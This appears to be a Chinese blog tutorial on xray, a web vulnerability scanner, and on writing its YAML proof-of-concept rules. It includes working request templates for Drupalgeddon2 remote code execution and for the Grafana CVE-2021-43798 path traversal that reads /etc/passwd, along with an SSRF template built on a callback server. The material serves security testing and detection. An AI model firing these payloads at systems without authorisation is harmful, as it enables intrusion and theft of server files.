本文主要是介绍xray API漏洞检测,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
一、介绍
- XSS漏洞检测 (key: xss)
- SQL 注入检测 (key: sqldet)
- 命令/代码注入检测 (key: cmd-injection)
- 目录枚举 (key: dirscan)
- 路径穿越检测 (key: path-traversal)
- XML 实体注入检测 (key: xxe)
- 文件上传检测 (key: upload)
- 弱口令检测 (key: brute-force)
- jsonp 检测 (key: jsonp)
- ssrf 检测 (key: ssrf)
- 基线检查 (key: baseline)
- 任意跳转检测 (key: redirect)
- CRLF 注入 (key: crlf-injection)
- Struts2 系列漏洞检测 (高级版,key: struts)
- Thinkphp系列漏洞检测 (高级版,key: thinkphp)
- XStream 系列漏洞检测 (key: xstream)
- POC 框架 (key: phantasm)
二、基础使用方法




三、代理模式


四、联动






五、poc编写

POC模块收到用户的一个请求后,开始对这个目标进行漏洞扫描。根据rule中的method、path、headers、body、follow_redirects键值,替换原始数据包中的对应信息。替换后的数据包被发送,并获得返回包。再执行expression表达式,表达式结果作为该条rule的结果;同时,通过search指定的正则表达式,可以从返回包body中提取一些信息,作为下一个rule或detail中可以被引用的内容。最后将 detail 中的信息附加到漏洞输出后就完成了单个 poc 的整个流程。


5.1、poc结构
name: poc-yaml-example-com
# 脚本部分
transport: http
rules:r1:request:method: GETpath: "/"expression: |response.status==200 && response.body_string.contains("Example Domain")
expression:r1()
# 信息部分
detail:author: name(link)links:- http://example.com
- name: string # 是POC的名字,用一个英文字母、数字和短横线进行表示,如poc-yaml-thinkphp523-rce。
- rules: []Rule # 一个由规则(Rule)组成的列表。
- detail: map[string]string # 主要是用来声明该脚本的一些信息,包括输出内容。
5.2、传输方式(transport)
- tcp
- udp
- http

5.3、全局变量定义(set)
set:a: 1
5.4、全局变量载荷(payload)

payloads:continue: falsepayloads:ping:cmd: r"ping test.com"curl:cmd: r"curl test.com"
5.5、编写rule
transport: http
rules:r1:# 此处为一个 http request 的例子request:cache: truemethod: GETpath: "/"headers:Content-Type: application/xmlbody: aaaafollow_redirects: trueread_timeout: "10"expression: |response.status==200 && response.body_string.contains("Example Domain")# 相比于 V1 版本新增output:search: |r'(?P<version>1.1.1)'.bsubmatch(response.raw)'version: search['version']
- request:构造请求相关参数
- expression:判断该条 Rule 的结果
- output:声明一些变量,用于后续使用
- cache: bool 是否使用缓存的请求,如果该选项为 true,那么如果在一次探测中其它脚本对相同目标发送过相同请求,那么便使用之前缓存的响应,而不发新的数据包;
- method: string 请求方法
- path: string 请求的完整 Path,包括 querystring 等 ;详情见 xray 安全评估工具文档

- headers: map[string]string 请求 HTTP 头, Rule 中指定的值会被覆盖到原始数据包的 HTTP 头中
- body: string 请求的Body
- follow_redirects: bool 是否允许跟随300跳转,在请求方法为 get或 head的时候, 默认为 true,其他方法默认为 false
- read_timeout: string 发送请求之后的读取超时时间,不填写时默认为0,为0时,超时时间将使用全局配置。
- expression: string 该字段定义这条rule的最终执行的一个结果。
- output: []string 该字段定义了这条 rule 运行完成之后的一些变量,该字段定义的变量会被添加到全局变量中,类似于 set。
5.6、编写expression
status int,返回包的status code; body []byte,返回包的Body,因为是一个字节流(bytes)而非字符串,后面判断的时候需要使用字节流相关的方法; content_types tring,返回包的content-type头的值; headers map[string]string,返回包的HTTP头,是一个键值对(均为小写),可以通过headers['server']来获取值。如果键不存在,则获取到的值是空字符串。
contains func (s1 string) contains(s2 string) bool,判断s1是否包含s2,返回bool类型结果。 bcontains func (b1 bytes) bcontains(b2 bytes) bool,判断一个b1是否包含b2,返回bool类型结果。与contains不同的是,bcontains是字节流(bytes)的查找。 matches func (s1 string) matches(s2 string) bool,使用正则表达式s1来匹配s2,返回bool类型匹配结果。 bmatches func (s1 string) bmatches(b1 bytes) bool,使用正则表达式s1来匹配b1,返回bool类型匹配结果。与matches不同的是,bmatches匹配的是字节流(bytes)。 startsWith func (s1 string) startsWith(s2 string) bool,判断s1是否由s2开头。 endsWith func (s1 string) endsWith(s2 string) bool,判断s1是否由s2结尾。
'\r\n' 表示换行 r'\r\n' 不表示换行,仅仅表示这4个字符。在编写正则时很有意义。 b'test' 一个字节流(bytes),在golang中即为[]byte
- response.body.bcontains(b"test") 返回包body包含test,因为body是一个bytes类型的变量,所以我们需要使用bcontains方法,且其参数也是bytes;
- response.body_string.contains("test") 但此处我们更推荐这样的写法来匹配test,这会解决一些编码问题;
- response.body_string.contains(r1 + "some value" + r2) r1、r2是 randomLowercase 的变量,这里动态的判断 body 的内容;
- response.content_type.contains('application/octet-stream') && response.body.bcontains(b'\x00\x01\x02') 返回包的content-type包含“application/octet-stream”,且body中包含0x000102这段二进制串;
- response.content_type.contains('zip') && r'^PK\x03\x04'.bmatches(response.body) 这个规则用来判断返回的内容是否是zip文件,需要同时满足条件:content-type包含关键字“zip”,且body匹配上正则r’^PK\x03\x04’(就是zip的文件头)。因为startsWith方法只支持字符串的判断,所以这里没有使用。
- response.status >= 300 && response.status < 400 返回包的status code在300~400之间;
- (response.status >= 500 && response.status != 502) || "<input value=\"(.+?)\"".matches(response.body_string) 返回包status code大于等于500且不等于502,或者Body包含表单;
- response.headers['location']=="https://www.example.com" headers 中 Location 等于指定值,如果 Location 不存在,该表达式返回 false;
- 'docker-distribution-api-version' in response.headers && response.headers['docker-distribution-api-version'].contains('registry/2.0') headers 中包含 docker-distribution-api-version 并且 value 包含指定字符串,如果不判断 in,后续的 contains 会出错。
- response.body_string.contains(response.url.path) body 中包含 url 的 path;
5.7、如何编写借助反连平台的POC
- {{reverse_url}} 反连平台的url
- {{reverse_domain}} 反连平台的domain
- {{reverse_ip}} 反连平台的IP
name: example-ssrf-poc
rules:- method: GETpath: /request?url={{reverse_url}}expression: |status == 200 && waitReverse(5)
5.8、POC编写辅助工具
5.8.1、v1版本在线编写POC
name: poc-yaml-drupal-drupalgeddon2-rce
rules:- method: POSTpath: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]=test%25%25test"headers:User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"body: |form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Passwordsearch: |name="form_build_id"\s+value="(.+?)"expression: |status==200- method: POSTpath: "/?q=file%2Fajax%2Fname%2F%23value%2F{{1}}"headers:User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"body: |form_build_id={{1}}expression: |body.bcontains(b'test%test')
detail:drupal_version: 7
5.8.2、v1版本在线编写POC

六、漏洞 CVE-2021-43798编写
6.1、环境准备

6.2、漏洞复现


6.3、编写POC
name: poc-yaml-grafana-cve-2021-43798-unauth-fileread-test-1
manual: true
transport: http
payloads:payloads:alertlistl:file: |"etc/passwd"plugin: |"alertlist"re: |"root:.*?:[0-9]*:[0-9]*:"annolistl:file: |"etc/passwd"plugin: |"annolist"re: |"root:.*?:[0-9]*:[0-9]*:"grafana-azure-monitor-datasourcel:file: |"etc/passwd"plugin: |"grafana-azure-monitor-datasource"re: |"root:.*?:[0-9]*:[0-9]*:"
rules:detect:request:cache: falsemethod: GETpath: /follow_redirects: trueexpression: |response.status == 200 && "window.grafana[b|B]oot[d|D]ata\\s*=\\s*{".matches(response.body_string) || response.body_string.contains("Sometimes restarting grafana-server can help")r0:request:cache: truemethod: GETpath: /public/plugins/{{plugin}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{{file}}expression: |response.status == 200 && re.matches(response.body_string)
expression: |r0()
detail:author: testlinks:- https://github.com/vulhub/vulhub/blob/master/grafana/CVE-2021-43798/README.zh-cn.md

6.4、测试POC

6.5、HTTP PATH 的使用
# target: http://example.com:8080/test/test
name: poc-yaml-http-path-test
manual: false
transport: http
set:# /test/testinputPath: request.url.path
rules:r0:request:cache: truemethod: GET# target: http://example.com:8080/test/a# 如果以 / 开头,取的传入 url 的 dir path 拼接的(考虑到 /admin 是一个单独站点这种情况)path: /aexpression: "true"output:r0Url: request.url.pathr1:request:cache: truemethod: GET# target: http://example.com:8080/test/test/b# 如果以 ^ 开头,取 path 作为请求路径path: '^{{inputPath}}/b'expression: "true"r2:request:cache: truemethod: GET# target: http://example.com:8080/c# 如果以 ^ 开头,取 path 作为请求路径path: ^/cexpression: "true"r3:request:cache: truemethod: GET# target: http://example.com:8080/test/a/d# 如果不以 / 开头,取 path 作为请求路径path: '^{{r0Url}}/d'expression: "true"
expression: r0() && r1() && r2() && r3()
detail:author: yywing
七、参考
GitHub - chaitin/xray: 一款完善的安全评估工具,支持常见 web 安全问题扫描和自定义 poc | 使用之前务必先阅读文档
xray 安全评估工具文档
POC编写模版 - xray 安全评估工具文档
第三期: 漏洞编写实例 - xray 安全评估工具文档
xray 教学视频 课程1_哔哩哔哩_bilibili 简介
xray 教学视频 课程2_哔哩哔哩_bilibili 基础用法
xray 教学视频 课程3_哔哩哔哩_bilibili 高级用法
xray 教学视频 课程4_哔哩哔哩_bilibili xray与burpsuite联动
xray 教学视频 课程5_哔哩哔哩_bilibili 编写自定义poc
这篇关于xray API漏洞检测的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!